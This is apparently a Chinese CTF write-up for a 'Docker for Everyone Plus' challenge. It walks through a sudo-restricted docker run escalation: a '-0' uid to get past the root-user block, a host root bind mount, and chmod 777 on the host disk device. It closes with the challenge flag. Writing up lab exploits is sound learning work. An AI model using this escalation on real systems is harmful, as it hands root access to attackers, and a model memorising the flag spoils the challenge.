Docker for Everyone Plus——Unbreakable!

修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:

发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag


老样子,rz传输tar.gz文件并解压载入tar镜像:

rz

gunzip dockerfile.tar.gz

sudo docker image load < dockerfile.tar


了解到一个方法:

uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile

cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块


修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:

chmod 777 /host/dev/vdb

cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}

相关推荐
NamoAmitabha1281 天前
libpng12-0 1.2.54-1ubuntu1.1 (amd64 binary) in ubuntu xenial
linux·ubuntu20.4
Madison-No71 天前
搭建项目测试环境
linux·运维·服务器·python
吴声子夜歌1 天前
Shell编程实例——编写安全的shell脚本(二)
linux·运维·shell
xiaoye-duck1 天前
《Linux 网络编程》深入理解 IP 协议(二):网段划分、私有 IP 与 NAT 地址转换
linux·网络·ip
zx_741484811 天前
【Linux入门】Shell 函数、正则表达式与文本处理:cut 与 awk
linux·运维·正则表达式
Zenova EdgeOS1 天前
Linux dmesg 工业边缘实战:内核日志过滤、持久化与故障定位
linux·运维·边缘计算·工业边缘·dmesg·内核日志
九皇叔叔1 天前
K8S 资源菜单
docker·容器·kubernetes·k8s
金士顿1 天前
System.Text.Json Source Generator 深度解析:为什么 Native AOT 不喜欢反射
linux·asp.net core·arm64·net·native aot
wdfk_prog1 天前
ROS教程08:从 TransportTCP::connect() 追到 TCPROS Connection Header、序列化与 Socket 数据传输
运维·缓存·docker·容器·ros
Zhu7581 天前
docker环境快速部署postgresql数据库18及以上版本
postgresql·容器